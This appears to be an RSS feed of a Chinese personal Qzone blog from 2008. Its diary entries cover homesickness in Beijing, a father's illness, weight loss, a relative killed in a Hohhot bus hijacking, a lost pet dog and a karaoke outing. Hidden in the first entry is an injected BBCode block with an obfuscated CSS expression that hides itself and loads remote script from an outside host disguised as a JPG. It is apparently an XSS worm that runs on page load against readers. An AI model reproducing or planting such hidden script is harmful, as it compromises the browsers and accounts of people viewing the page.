http://77082505.qzone.qq.com Sat, 28 Nov 2009 17:10:07 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Wed, 17 Dec 2008 16:03:51 GMT http://77082505.qzone.qq.com/blog/1229529831
前天晚上自己回家，在一楼大厅碰到秘书了。她用各种奇怪的眼神把我看了个遍，最后终于认出我了。我伤心死了。她差点不认得我了。后来秘书说，你变得比以前漂亮了。我说，你家coco说我回内蒙整容去了。说我是整容女。秘书说，你变成熟了，更有女人味了。我在想，啥是女人味啊。不说话?微笑？还是啥别的？

刚才无聊，把以前写的空间的文章都看了一遍。才发现我好能写啊，有的写的还真不赖。那是我么?是我写的么？如果那些是我写的，那么现在这双在这噼里啪啦堆字的手是谁的啊?写的真垃圾呀。。。。

我也不知道了。大半夜的我又抽风了。12点了呢。我咋还不困呢。我啥时候能做到10点睡7点起呢？

我有多少码字的地方了啊？sohu的博客，qq空间，校内，开心，我的妈呀。都荒废了呢。

我还是喜欢跟电视打交道。我一边织着即将卖出去的围巾，一边看大妈大婶的电视剧。大满足呢。

织去了。
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://77082505.qzone.qq.com/blog/1229529831#comment 134218240 Wed, 17 Dec 2008 16:03:51 GMT http://77082505.qzone.qq.com/blog/1229529831 http://77082505.qzone.qq.com/blog/1229529318
so，这是第二篇。

我开始接受新鲜事物，比如换掉雷打不动的紫光输入法改用人人都在用的搜狗，比如开始玩同事们早已经玩腻了的开心网，比如开始前所未有的想一个人单身过一辈子。我一直以为自己是最守旧的。

我越来越懒了。连打字的力气都没了。

最近一直在看星空卫视的微笑pasta。小女生的偶像剧。我看的津津有味。我越活越回去了。开始羡慕剧中那个没大脑的王心凌扮演的大学生。天上掉馅饼儿，怎么老能砸着她们呢？我现在走在路上，看见有鸟在天上飞我就害怕我就躲。我老是怕鸟屎落我身上或者脸上。因为我知道多么sui多么倒霉的事我都能碰上。

今天听同事说，他昨天晚上把脑袋放在他老婆的肚子上跟他儿子说话，他第一次感觉到他儿子踢了他一脚。幸福的他呦，快要乐的背过气去了。听说，坚持跟肚子里的小孩子说话，那么小孩子出生以后，在他哭闹时，如果你对他说以前他在肚子里时你说过的那些话，他就会安静下来，不再哭闹。我很好奇，我好奇的要死。这是什么原理。当然，最好不要在我面前提zhei茬儿。

从8点到现在，我身边那个人一直在wow的FB中醉生梦死。没跟我说一句话。很好。不说话其实我也会。

一个人有什么不好。不明白。 ]]> http://77082505.qzone.qq.com/blog/1229529318#comment 134218240 Wed, 17 Dec 2008 15:55:18 GMT http://77082505.qzone.qq.com/blog/1229529318 http://77082505.qzone.qq.com/blog/1229526737
前天例行在9点之后打电话回家，妈说，你爸病了，发烧咳嗽呢，今天输液了。我有点慌。爸发着烧，还是从被窝里爬出来，嗲兮兮从妈手里接过电话说，哎呀，我病了呀，难受呀。我嘱咐他，好好睡觉，好好喝水，好好输液，好好吃药，病才能好利索。我说输完液的第一个晚上是最难受的，我经常在那个晚上烧的稀里糊涂昏天黑地。我只能把爸当小孩儿，说，你忍忍哈，到明天烧就退了。第二天一早，我不放心，又给爸打手机，爸说，我在外面呢，输完液了，在外面办事。我说，你咋不回家休息呢。爸说，忙呢，可多事儿了。晚上回家，我又给家里打电话。妈说给爸吃了包子。我说，他一病人怎么能吃包子呢，应该给热呼呼的吃点儿面啊。今天白天头晕脑胀，晚上才想起来还没给爸打电话。爸说，你妈没回来啊，没人管我吃饭啊。我怒了，给妈打手机，你咋回事儿啊，家里有个病人呢。妈说，没办法啊，我走不开啊。挂了电话，我看着自己煮在电饭煲里的粥，蹲在一旁抽抽搭搭的哭了起来。要是现在在家，我就能给爸熬点粥，弄点小凉菜，少少的让他吃点肉。我为什么要让他跟妈在家而我自己却在这500公里外的破北京呢？

又想起了神秘园的you raise me up，每次想家的时候，我都会听它。它是写给爸爸的。虽然我并不知道到底是不是。。。你把我养大了，可我能为你做些什么。

许哲说，一大堆人挤破了脑袋要去北京，我给她留言说，我哭了我，我削尖了脑袋却回不去。哥哥在移动干的好好的，许哲在建行干的好好的，为啥我却在北京飘啊飘浪啊浪呢？这个话题太沉重，压死我了。不能再想了。前途一片迷茫。出口在哪？又或者，有出口么？

干脆就甩了那个大包袱然后一咬牙回家得了。让爸骂死也比自己在北京郁闷死好。可是爸要是天天都骂我呢？那是不是还不如在北京郁闷死好？

横竖都是死。死了算了。 ]]> http://77082505.qzone.qq.com/blog/1229526737#comment 134218240 Wed, 17 Dec 2008 15:12:17 GMT http://77082505.qzone.qq.com/blog/1229526737 http://77082505.qzone.qq.com/blog/1221840645
嘴干的到处裂口子,生疼生疼的,但我就是懒得喝水.

冰箱里有葡萄,有冬枣,有香蕉,但我就是懒的洗,懒得吃.

雯雯眼看要到期了,但我就是懒得玩.

其实我本来就是个懒孩子.从小我妈就说我,你怎么那么懒?但是呢?又有几个人真正知道我懒呢?说穿了我只会对自己懒,从来不对别人懒.家里躺着个骨折的娃,不跟妈妈回家养着非要跟我这住着,我能懒么?我敢懒么?

其实我就是个小孩子,别把我想的太伟大了.谢谢. ]]> http://77082505.qzone.qq.com/blog/1221840645#comment 512 Fri, 19 Sep 2008 16:10:45 GMT http://77082505.qzone.qq.com/blog/1221840645 http://77082505.qzone.qq.com/blog/1219334008
唉,跟谁较劲呢这是?我也不知道.我就知道,这是我有史以来做过的唯一坚持下来了的事.

我说过我只减10斤,我不为难自己,谁知道一上称就没了11斤.其实看看镜子,还真没觉得哪少了肉,但是大家都在说,脸小了,腰细了,肚子没了,腿也瘦了.我该高兴么?听到这样的话.其实与其说是减肥,不如说是在赌气,至于那个赌气的人,我都不知道是谁.我只是想起来我大三那晃晃悠悠才86斤的时候,我就恨的想掐死我自己的胃,怎么就那么不争气,怎么就那么能吃,怎么就那么能把自己的胃吃的那么的巨大.其实刚开始吃药的时候,前三天,我真的是挺难受的,头晕,无力,出汗,后来一想,妈妈的,一天不吃饭,能不头晕眼花么......

其实,不管付出多少,至少是减下来了,而且,现在还没有看到任何反弹的迹象.但是我不推荐所有人都用这种方法减肥,毕竟象我们海超大夫说的,是药三分毒,还是不吃的好.搞不好我的胃呀肝呀肾呀的现在正在一点一点丧失机能呢......

昨天我生日.我24岁了.记得以前上大学的时候,每次生日都在暑假,所以有人告诉我,没关系,毕业以后我们每年都在一起过生日.一转眼,毕业都一年了,那个说陪我过生日的人,哪去了呢?每年生日的时候,我都会带着那串四叶草的项链.希望那项链,真的可以带给我传说中的那四样东西......

睡觉去了.最近总犯困.还犯鼻炎了.郁闷. ]]> http://77082505.qzone.qq.com/blog/1219334008#comment 512 Thu, 21 Aug 2008 15:53:28 GMT http://77082505.qzone.qq.com/blog/1219334008 http://77082505.qzone.qq.com/blog/1212163269 我真的是做梦也没想到.
呼和浩特男子苏海军持刀劫持33路公交车撞人致2死10伤
本报讯 5月12日晚上，呼和浩特市一犯罪嫌疑人持刀抢劫并驾驶一辆大型公交车横冲直撞，制造多起连环交通事故，导致2人死亡、10人受伤、26辆车不同程度受损。
　　劫持公交连撞几十辆车
　　5月12日20时50分左右，犯罪嫌疑人苏海军在光华街持刀劫持了牌照号码为蒙A24727的33路大型公交车后，沿新华大街、锡林郭勒北路、中山西路、通道南路等路段，不按秩序行驶制造了多起交通事故。
　　呼和浩特市公安局110指挥中心于20时57分接到报警后，迅速指派值班巡逻民警对被劫持公交车进行围追堵截。犯罪嫌疑人苏海军对民警的制止置之不理，并且驾车对110巡逻车进行撞击，21时20分左右，在新城区博北十字路口处，被劫持公交车连撞4辆小轿车和1辆货车后被迫停下，苏海军在弃车逃跑时被民警控制。
　　记者了解到，这起恶性案件所导致的10名受伤人员中，有9名民警，目前伤情已经基本稳定；2名死亡人员均是解放军第253医院的护士，事发时因其他事坐巡逻车回派出所报案。26辆车不同程度受损。
　　嫌疑人自称被人追杀
　　据了解，犯罪嫌疑人苏海军，男，汉族，1965年4月23日出生，现住呼和浩特市新城区光华街城建小区，系呼和浩特市公交总公司第三分公司修理工。
　　案发当晚，呼和浩特市公安局公交分局连夜对犯罪嫌疑人苏海军进行审讯。据犯罪嫌疑人苏海军交代：5月12日中午，自称喝了1瓶半白酒，后感觉有人要杀他，于是到派出所报警。因感觉其神志不清，派出所令其家属接回。19时40分许，回家的过程中苏海军从水果摊抢了一把刀，然后劫持一辆无乘客的33路公交车。苏海军自称，途经路线及驾车过程中的一些情况已经记不清楚了，只记得碰撞过十几辆车，其中还有警车，直至被迫停车。
　　涉案者劫车动机不明
　　昨天凌晨，呼和浩特市公安局公交分局对犯罪嫌疑人苏海军进行了采血化验，未检出酒精。警方还查明，犯罪嫌疑人苏海军家族成员有精神病史，但是他是否患有精神病还有待做进一步鉴定。警方通过调查未查明苏海军实施这起案件的犯罪动机。
　　目前，警方准备以涉嫌危害公共安全罪、抢劫罪和故意杀人罪对犯罪嫌疑人苏海军刑事拘留。这起恶性案件的善后工作正在有序进行中。
如果不是我妹的一条短信,可能我也不会上百度去翻出这条新闻.
"姐姐,我二婶没了,车祸".
我迅速打电话回家,问爸爸,璐璐二婶是怎么没的?爸爸说,你知道33路公共汽车那个事么?我脑子轰一下就大了,我只是听冯哥哥叨叨过两句,只说,呼市有个公车被劫持了,撞了好多车....脑子里象有无数的蚊子在叫,我接着说,我听说过,怎么了?爸爸说,死了两个人,有一个就是璐璐她二婶....我眼泪刷啦一下就要涌出来,又生生被我憋回去,因为还在跟爸爸讲电话,我不能哭.我前面还有篇文章,是写璐璐爷爷的,老年痴呆症,去年十一走丢了,被车撞死了.现在,居然,居然这种只能在新闻上看到的事情,也真真实实的发生在了我身边.....我脑子里一团乱,我挂了电话,我木呆呆的坐在床上,我机械的把手放在键盘上,我急切的想找个人说一下,我从没有象这样需要倾诉.....直到一只冰凉的手,将我的头轻轻的摁在他胸前,我的眼泪,才开始无所顾忌的肆意的流.我见过不幸的人生,可是,只有当身边真正出现这样的不幸的时候,我才发现,我一点都不勇敢,也不坚强,我一遍遍的告诉自己我长大了,我可以面对生与死的问题,我有足够的勇气面对,解决,但是,我发现了,我真的,我根本就是做不到.我做不到一个昨天还活生生的,跟我的生活有关,哪怕,只是曾经有过为数不多的几次接触的人,就这样被不是正常的死亡剥夺生命,从此,消失在我的周围,我觉得我快要窒息了,我满脑子都是婶婶的样子,虽然那样子已经很模糊,我依然,在努力搜寻着我跟她接触过的点点滴滴.在我还没有完全丧失理智的时候,我打开了百度,打下了"呼和浩特 33路公车"几个字,回车,刷的一下,满眼都是上面那样的新闻.有图,我流着眼泪,慢慢的将屏幕往下拉,终于,我看到了那辆婶婶最后乘坐的警车,据说,婶婶坐在后排,我看了看那后排,已经被撞的没了样子....我不能自已,不能再看,怯生生的用颤抖的手关了所有的网页,关了电脑,洗了把脸,将恐惧,惊慌,悲痛,所有所有的一切,都化成黑黑的夜里的一声声无奈的叹息,我躺在床上,不说话,只告诉身边那个人,我真的需要心理干预.
今天看妹妹的QQ空间,她写了关于她弟弟,就是她二叔的孩子的一些事,孩子叫宝宝,才上小学一年级,他都拿着妈妈的照片,一个劲的叫妈妈,然后,转头问妹妹,姐姐,你知道我妈妈去哪了么?妹妹说,不知道.宝宝说,我妈妈吃坏东西了,得了传染病,现在在传染病医院,我们谁也不能去看她,爸爸说可严重了.妹妹说,她觉得其实孩子可能什么都知道了,只是不想说破.偌大的一个家,一年之内没了两个人,显得空荡荡的.看到这我实在受不了了,我脑子里又开始想象宝宝可怜的样子,7岁的小孩儿,没了妈妈......我又开始哭.......我怎么就这么不争气........
突然很想那个人,隔了一个太平洋,我不知道,我还有多少机会能见到他.也许,下一个明天,离开的,就会是我.很久很久以前,我想哭的时候,我受委屈的时候,能够抱着电话,蜷缩在沙发的角落里,跟他倾诉,他总是会静静的倾听,等我说完了,再开始一遍又一遍的开导我,安慰我,有时,我听到他往电话里投一个一个硬币的声音,心就随着那声音,和电话那端那个沉沉的声音,慢慢的,一点一点好起来.而今,我们早已没有了联系,有时,我甚至还固执的认为,其实,我们还是最默契的那对好朋友,并不曾随着时间的转移,而让那份默契消失殆尽.我小心翼翼的不去碰触跟他有关的一切,只是在闲下来的时候,去他的空间看一看,有时候,也忍不住的在文章后面留下几个简单的字,虽然我知道,他并不需要这些.
而今,身边也有一个人,比我成熟,比我稳重,比我经历的多,许是因为这些,所以,不太喜欢说话,不太喜欢倾诉,也不太喜欢将自己的喜怒哀乐,表现给我看.有时候,我将它们理解为,他并不知道我需要什么.我是个不能接受别人受苦受难的孩子,不能看到别人过着悲惨的生活,不能看到别人遭遇不幸.他说,我是个善良的孩子,但却是个过于善良的孩子.其实,在我为别人的悲惨而心疼落泪的时候,在我为思念家人而辗转反侧的时候,在我为看到一个可怜的乞丐而心神不宁喋喋不休的时候,我最需要的,是他的支持,是他能跟我说说话,给我一些起码的安慰,但是,这种时候,他往往都选择继续沉默,或者,他也不知道该怎么安慰我,或者,他也不懂我究竟为什么对语言扶持的需要,会远远大于精神理解的需要.说到这,突然觉得,自己还是跟以前一样孤单,一样寂寞,因为不能倾诉,或者,倾诉了,也得不到回应.这才是我最寂寞的根源.
不说了,婶婶,5月12日,与您一起走的,还有四川无数的可怜的人,我不知道怎么送你们,我只能在这写下最心里的话,希望您,一路走好.保佑宝宝,保佑家里剩下的所有的人,都好好的,活下去.
]]> http://77082505.qzone.qq.com/blog/1212163269#comment 512 Fri, 30 May 2008 16:01:09 GMT http://77082505.qzone.qq.com/blog/1212163269 http://77082505.qzone.qq.com/blog/1211095441 我无视了所有人左一遍右一遍说我博客更新慢的语言,坚持把时间浪费在天成的跑跑卡丁车和QQ游戏的跑的快上,花大把的时间坐在海蓝色的转椅上,瞪着屏幕发呆.我不知道自己想怎么样,只是觉得,从来没这么累过,但是所有人还是觉得我精力十分充沛,也罢,在人们的印象里,我还是那个用粉色字体聊天的小琰吧.其实不想用粉色的.觉得于我真实的性格其实有些相悖,却习惯了不舍得让它们在屏幕上被一行行暗色的字体所取代.自从大爷把虎蛋送人之后,我突然就觉得世间的一切都没有个准头,换句话说就是相当的讽刺和不靠谱,所有的一切都有保值期,保鲜膜都不例外,那么,我们到最后,到底还能剩下些什么,拥有些什么.不知道.
5.1回家呆了8天,我没敢踏进大爷家一步.对我来说,那儿已经变成了一个只会唤起我伤心的地方,虎蛋送人了,小苗姐也走了,我们不能在背对背坐在一起,在两台电脑上,开心的一起跑跑卡丁车.我不想看见豆豆,我看见豆豆就会想起虎蛋,想起虎蛋我就不能自已的想流泪.小宇不是东西,我之所以这么吝惜将"哥哥"这个头衔给他,是因为我觉得他不配,对于一个没责任感,喜新厌旧的已婚男人来说,他不配让我叫他哥哥,我很理智的没用"没人性"修饰他,已经是对他最大的宽容了.我不去大爷家的另一个原因,也是想避免见到他,然后冲动的用世间最恶毒的语言朝向他,惹得大爷大娘从此对我怀恨在心.我只能跟小苗姐一样,一路看着你,看你离开小苗姐能幸福到哪去.真希望那一纸离婚证书能压死你.
回家依旧是好吃好喝,妈主内,负责做一切我想吃的菜,爸主外,负责买一切我爱吃的零食.这次又犯懒了,8天没洗一次碗,偶而良心发现,想帮妈洗碗,很快就被"我一年也回来不了几天"的想法镇压下去......2号去了姥姥家,到姥姥家之前,爸把车停在商场门口,跟妈在车里等我,我一个人去肯德鸡给大家买全家桶吃.结果,我死乞白赖的抱着沉哼哼的全家桶外加一桶大可乐出来了,却发现爸妈都不在车里,车锁了,我就跟个白痴一样抱着那一堆东西在车附近转呀转,气的我直踢轮胎,我记得踢轮胎的话车貌似会报警,爸那边的车的遥控器就会响,他大概就会奔着他的爱车来了罢.踢了半天没动静.回北京小主管哥哥告诉我,踢轮胎不管用,好像得踢车身...后来不知道多了多久,爸妈才悠悠闲闲的踱着步子回来了,原来是趁我去买全家桶的功夫俩人逛街去了....我恨....到了姥姥家,见了姥姥,亲的不行不行的,我从小是姥姥看大的,所以,在我心里,姥姥有着比爸妈还重要的地位,我时常跪在观音庙的大殿上,心里默默的念叨着用我的寿命去增加姥姥的寿命,尽管我知道姥姥身体很棒很健康,但是还是会未雨绸缪的担心她有一天终会离开我,我无法面对那样的一天,所以,我宁可把自己的寿命分给姥姥一部份,再分一部分,再再分一部分,这样,我才不至于有活不下去的理由,我知道,姥姥会等到我结婚,会看到我生孩子,会亲手抱着她的第一个重外孙,会长命百岁,会永远永远在我身边.这次又照例给了姥姥100块钱,我每次回去,每次见到姥姥,都会塞给她100块钱,虽然我知道这跟她把我从小看大所付出的还相差很远,但是,目前我也只有这种办法来报答她,我只想给她吃最好吃的,让她过好的生活,只想.姥姥还是老样子,来者不拒,虽然嘴里说不要我的钱,但是还是很痛快的收下了,惹的大家又一阵笑,我也笑,很开心的笑,但是为什么现在想起来,却又是一阵心酸,姥姥的岁数真的是一天一天在涨啊,我多想时间能速速的停下来啊.这次回家,没有再象以前一样教训萌萌,因为突然意识到,他也长大了,也懂得什么是羞耻,什么是自尊了,不能再象以前一样,拿着他的作业本,指着上面一道又一道的错题,用一根细细的指头戳他的脑袋了.虽然他的作业还是错的很离谱,我已经能做到不发脾气了,因为我都不再看了.他写的填空"上有天皇,下有苏杭",我就当笑话来看吧,每个孩子都有自己的路,我就当做他有别的更好的成长道路吧,不再去操心他的学习了.
3号晚上回北京的车票,是白杰给买的,和白杰,翠,一起,还有马胎,我们四个一个车厢.爸爸平时都是要把我送上火车才罢休的,这次因为有同学一起走,所以他只送我到车站进站口,就开车回去了.看着他渐行渐远的背影,我眼泪又涌上来,不过当着翠爸妈的面,我没好意思哭.翠妈妈本来在住院,等着做手术,为了送翠,也来了火车站,一直送到检票口.我没敢回头看,怕看到翠妈妈眼中隐忍的泪光.上了火车找到我们的卧铺,放好箱子坐在下铺几个人聊天,然后上来一个男生,带着帽子,白白胖胖的,带个眼镜,包包没地方放,我好心,说,你放我箱子上面吧,我箱子不怕压.那男生开口说话,我们几个顿时被雷到了,"我的包不能放那个箱子上面@#$%&*"....后面说的啥我没听见,因为我的注意力,全被那男人的嗓音给吓跑了.我的妈呀,纯娘们儿啊,我和翠面面相觑,要不是顾及那个男生就站在面前,我俩不是笑死就是吐死...太可怕了,这哪是男人啊,简直就是个二椅子.吓死我了.晚上睡觉那个男的还跟我一样睡中铺,感觉浑身都散发着让人不自在的阴气,嗯嗯,阴气.早上是被列车员推醒的,换票,我看表,我的个妈呀,才5点半.由于小主管哥哥会来接站,所以我不能太不顾形象了,跑到车厢的洗漱处洗了洗脸,梳了梳头,又跑去跟马胎要了个薄荷的口香糖,因为没带牙刷和牙膏...北京头一天刚下过暴雨,地上湿湿的,但是天气很好,坐在回家的公车上,头枕着温暖的手,窗外的微风吹着头发,蹭在脸上,混合着和煦的阳光,有种痒痒的幸福.回头看看那张望着窗外的脸,突然就开心的笑了.
这几天报纸新闻电视网络都在报道一件事,那就是四川的地震.我不是灾民,所以,就算我再难过,再悲伤,我也永远不能体会他们那种劫后余生但是又要面对那满目疮痍的世界和阴阳相隔的亲人究竟是种什么感觉.我有些恐慌,我不知道自己能做什么,感觉我们一天天只能通过电视和网络了解那里的点滴,很熬人,用一句很老的话说就是干着急没办法.很气人的就是都到这种时候了,还有些唯恐天下不乱的人,到处散步一些谣言,关于08年08月08日,关于福娃,关于中国.鄙视你们.败类们.
上一个项目结束了,很欣慰,日本一个gameplay的bug也没报出来,鉴于日本派来了救援队帮助中国同胞,我就嗯嗯谢谢你们吧.
这些天都很委屈,为着一个很不靠谱的理由,我就自己消化去了,不拿出来让大家笑了.
背景音乐很喜欢,最近都在着迷中. ]]> http://77082505.qzone.qq.com/blog/1211095441#comment 512 Sun, 18 May 2008 07:24:01 GMT http://77082505.qzone.qq.com/blog/1211095441 http://77082505.qzone.qq.com/blog/1208615826

刚才爸爸打电话给我,电话最后说到一件事,大爷把虎蛋儿送人了....我木呆呆的放下电话,半天没反应过来.我还在想,5.1回家,我要到哪去找虎蛋儿.....想了半天,终于缓过神儿来,我再也见不到虎蛋儿了,他们把虎蛋儿送人了.我以后,再也见不到虎蛋儿了......
以前晓敏家的狗死了,她拿着电话在这头哭啊哭的,我还不明白,为什么她上大学从家里走都没哭,狗狗死了会这么伤心.到现在,我的眼泪也不住的吧嗒吧嗒往下掉的时候,我明白了,心里原来真的,真的就这样,空落落的疼......
我发誓我以后有了家我绝对不在家里养除了人以外的任何活物,这狗狗送人了我都哭的快死过去了,要是自己养一个,总会死在我前面,我相信我没有那个铁石心肠能忍受失去这个小生命的痛苦.
虎蛋儿,姐姐只能跟你说再见了,姐姐只希望今天晚上能做个好梦,在梦里还能抱抱你,亲亲你,看到你活蹦乱跳的跑过来,然后顽皮的把姐姐长长的靴子扑倒......
虎蛋儿,你过的好不好,吃的好不好,有没有生病,会不会死掉?我不知道...... ]]> http://77082505.qzone.qq.com/blog/1208615826#comment 513 Sat, 19 Apr 2008 14:37:06 GMT http://77082505.qzone.qq.com/blog/1208615826 http://77082505.qzone.qq.com/blog/1206207963 今天起个大早,步行到知春路去坐城铁到西直门,看地图貌似那个“同一首歌”KTV也没多远,哪知道,我在北三环绕了个大圈,都快绕到北二环了,越走越发现不对,巩告诉我那个红色的小楼和清洁工爷爷告诉我的同一首歌的大牌子一直也没出现过,我意识到,可能是走反了,于是往回走,走到一座小桥上的时候,一抬眼,终于看到了那亲爱的同一首歌的招牌,小招牌,小气劲儿的,做那么小,鬼看的见.然后兴奋的给巩打电话,给冯哥哥打电话,给翠打电话的时候我犹豫了下,最终决定给她个短信:翠,路太难找,你直接打车吧.没一秒,翠电话追魂而来:姐呀,我在西直门嘉贸,咋走呢?
我:er...出了出口往东走.
翠:哪是东?
我:@#$%^&*!@#$%......
翠:我到出口了,然后呢?
我:左拐.
翠:然后呢?
我:直走,然后过了桥,沿着桥左转,就是北了,沿着北走,看见那个首钢××和中铝的大楼,再往前是太平人寿的楼,到了太平人寿那楼右转,走过一片小区,里面有个小桥,过了小桥,再往北走....说的我口干舌燥.
翠,哦,那我自己再找找.
我心里话:你这个路痴.
然后就站小路口等,话说这小红楼看着还真不错,挺小资的.唉,真想自己先进去,反正也订好包间了,but那20块钱的优惠券还在冯哥哥手中,我承认我又拜金了,于是俺就继续站在小路口等.看到旁边的民楼上有牌子写:索家坟小区.×O的,老子从西直门走了几站地啊......
冯哥哥携巩MM和燕MM驾到.燕MM可是今天的主角啊,俺看着她,想起那10分的数学卷,狂笑.俺们走进了那红红的小楼,哇靠,里面真不赖,俺们被领到了俺们的包房,俺累的pia ji一屁股就墩沙发上了,巩MM病怏怏的,俺看着也十分心疼.闲话少说,开唱.没唱两首半,翠猫呼哧呼哧的推门进来了.K歌之王驾到啊.蛔虫一如既往不唱歌,我们劝说其高歌一曲"滚滚长江东逝水"的计划也泡汤,其沉醉于PSP游戏世界中,对俺们抽风的曲风和今天high到极点的华丽丽的舞蹈丝毫不感兴趣,唉.11点开饭,四女人冲下楼,开始抢菜.见啥搜刮啥,咚咚回楼上吃喝.彼时冯哥哥一曲"双截棍"助阵,搞的我咽东西都非常有节奏感.俺们吃饭的速度也不是盖的,七吃咔喳肚子饱了,开始发挥嗓子的威力.巩MMstill么有精神,俺于是要了两首巨给劲的歌,不怕不怕,爱的主打歌,为巩巩助阵.由于之前有了我跟翠的疯狂摇摆,巩也开始发挥真正实力.俺俩一曲"不怕不怕"吼的惊天地泣鬼神--妈咿呀hey,妈咿呀hu,妈咿呀hou,妈咿呀haha,声音很诡异.唱到"看见蟑螂我不怕不怕啦"时,俺俩互瞅,然后同时high起来,只见冯哥哥一旁举着个手机,假迷摄像机一样在拍摄俺俩的疯狂镜头,还把手机不停的前前后后的晃动,妄图制造出镜头中那种忽远忽近忽大忽小的人物效果.我估计拍出来就是一团黑疙瘩.到了爱的主打歌时,气氛被彻底点燃,大家都happy起来,冯哥哥也加入了群魔乱舞的我们中.金金驾到.我看她脚上穿一黑色小高跟...估计走到这脚也快废了...金金吃饱饭,开始点唱.er...又点了一堆我们刚唱过的.8过完全米关系,俺们今天就图一爽,再唱,金金和巩再次合作一曲不怕不怕,我彻底沦为疯狂的舞者...只是那舞,是俺自己发明的埃及人舞+赵丽蓉老师舞.跳的时候丝毫不觉得羞愧,跳完有些后怕,这舞一旦传扬出去,俺这辈子就么脸见人鸟...我看他们几个都笑抽了...随后,俺还演唱了惊天动地的儿歌"数鸭子",马楠语,本来挺好听的歌,结果...最后,俺们以一曲"死了都要爱"结束今天的疯狂演唱,誓将劈嗓子进行到底.哦对了疯哥哥一人拿麦分饰两角的"今天我要嫁给你",很好很出彩,很嗲很BT.
high劲没过,于是驱车前往冯哥哥住处耍牌.起先俺与蛔虫,巩MM一伙,人品爆发,保持不败,把把吃供,吃的翠他们连A都要不起了...期间疯哥哥旧病复发,又开始偷牌,结果刚偷一张4就被其老婆巩MM发现,于是乎,!@#$%^&*....终于有一把,俺不记得俺出过啥不进眼的牌了,小燕怨念爆发:张琰这个方主个蛋...俺吐血...于是冯哥哥建议为避免引起战争,大家重新分家.俺很不幸的跟翠互换位置...第一把就凸显了俺和燕,冯之间意识形态方面的差异.俺认为索性让俺下家提牌加工,倒不如俺内部消化了.第一把输了,俺开始冲冯哥哥YY,看看,都是你,不让我起内仨8,让人家起了不一样是加工么!小燕站出来:千刀万剐不提自家...俺回敬:你也没少提...巩笑死:看看,这内讧起的.说归说,俺牌再差,还有个翠垫底...巩继续一拿牌就诈唬,就吼叫:立了啊立了啊.跟世伟有一拼.话说俺真的很久很久没有这么畅快的打牌了,上次打牌打这么爽,好像还是高考出分那天...别人都在紧张的对答案,准备报考的学校,俺们一群混混在众目睽睽之下,在校门口马路边,铺报纸,摔牌...好像都是上辈子的事了一样...

其实我在唱"今天你要嫁给我"的时候,心里还是紧紧的疼了一下的,哥哥,知道为什么么?

晚上跟巩和燕一起坐城铁回家,对面坐着一个外国GG,瞳孔蓝蓝的,偶尔抬起头看看别处,我借机瞟一眼他那淡蓝色的眼睛,很漂亮,很华丽,我也想要.俺瞳孔的纯褐色的.不是黑色的.就像俺头发是亚麻色的,不是黑色的一样,全是天然的.于是偷笑.

早上出院门的时候看见停了满地的车,于是就不忿,妈妈的,这么多车没一个是俺的...要是有车,就能开车去聚会,多好......纯属仇富心理......

跟巩巩唱"最初的梦想"时,有一瞬间被感染了,依稀觉得自己也没有放弃过梦想,但仅仅是一瞬间...

城铁从西直门出发的时候,有人打来电话,已经快到家里那边的城铁站了,心里于是就暖暖的,终于,也有人能这样主动的跑出来接我了,心小小的,暖暖的,满是幸福.

我到底该不该就这样幸福呢? ]]> http://77082505.qzone.qq.com/blog/1206207963#comment 512 Sat, 22 Mar 2008 17:46:03 GMT http://77082505.qzone.qq.com/blog/1206207963 http://77082505.qzone.qq.com/blog/1204556882 其实你一直都是我心里最不能碰触的一块地方,我从开始就知道.

今天要不是你空间里那首歌,我也不会这么果断的打开博客,决绝的写下下面的种种.

我们认识有十多年了吧?说实话其实到今天我也不能够说自己了解你.对于你,我甚至找不到合适的语言合适的词汇去恰当的描绘你,你的出现,带给我生命中怎样不可逆转的轨迹.我可以对别人说不,对别人冷眼旁观,对别人不屑一顾,独独你,我永远也不可能硬起心肠,板下脸来,用陌生的口气跟你说一句话,我也很鄙视我自己,我一向不是一个这么不潇洒的人.对你,总是希望用一副温柔的心肠,一如既往的扮演能够带给你暖暖的角色,我的目的其实再单纯不过,就算缘分已然逝去,我还是希望,能做那个在你累了,烦了,伤心了的时候,想要倾诉的朋友.就象是很久很久以前,我总是抱着电话窝在被子里,沙发里,哭哭啼啼的跟你说着孤单,说着不开心,说着这些那些困扰在我心中而又不愿对别人诉说的种种.我也不知道为什么,我在电话这头总是不断的想象着你听到我这些话的时候的样子,或皱眉的,或微笑的,或了然的,或心疼的.我总是这样,对看不见的事物永远有着难以估量的好奇心.

今天突然就很想听这首且行且珍惜,我开始后悔为什么当初我没有买一本同学录来记录你们对我点点滴滴的留言,或是别的.我只选择了一件白色的大T恤,上面有你们所有人的名字.我把它放在了家里,用白色的密封袋收好,放在一个永远不会被蛀虫咬到的地方.每次回家的时候,我都会把它翻出来,看你们给我的签名.看着看着,我的手指就不由自主的触上那白色的底,然后指尖随着上面名字的笔划,一个一个的划下去.划到你的时候,心里总是紧紧的揪一下,有点疼,那名字签的很认真,字体还有些幼稚,一笔一画的,写的很用心.想起你有一本记录着所有人祝福的同学录,很嫉妒,至少,你在想起过往的时候,还有东西可以用来寄托思绪.而我,只能凭着我那过人的记忆力,去回忆那四年甚至更长岁月的点滴.还记得那个时候我还因为田野占用了你同学录上的第一页而大发脾气,最后之后委曲求全的将我自己的内容写在了最后,不是一页,是整整五页.那时候写的那些话,现在要是让我自己看,我可能都不认识那居然是我自己写的了,学生时代,写什么都那样书面化,有着固定的模式和套用的语言.但是,最起码,感情是很真挚的.我把自己关在姥姥家的屋子里,不许人进来,也不许人打扰我,我就那样,面对着远处的大山,空旷的田地,将所有想对你说的话,一字一字的写在那彩色的纸上.想着以后你就在跟我隔着一个太平洋的米国生活下去,还是有眼泪不争气的掉下.没敢滴在那些彩色的纸页上,怕那些小小的水花泛湿纸页,被你看出来,笑话我不够坚强.请你相信那些写在上面的话,人说童言无忌,小孩子的话才是最真实的,而那个时候的我,并没有强大到可以掩饰内心的一切不如意和不舍,笑着对你说再见.其实那个时候开始,我就知道,我们早晚会有结束的一天,我不能穿越那无尽的时空去享受一场看起来很浪漫的跨国之恋.只是,初中生活那最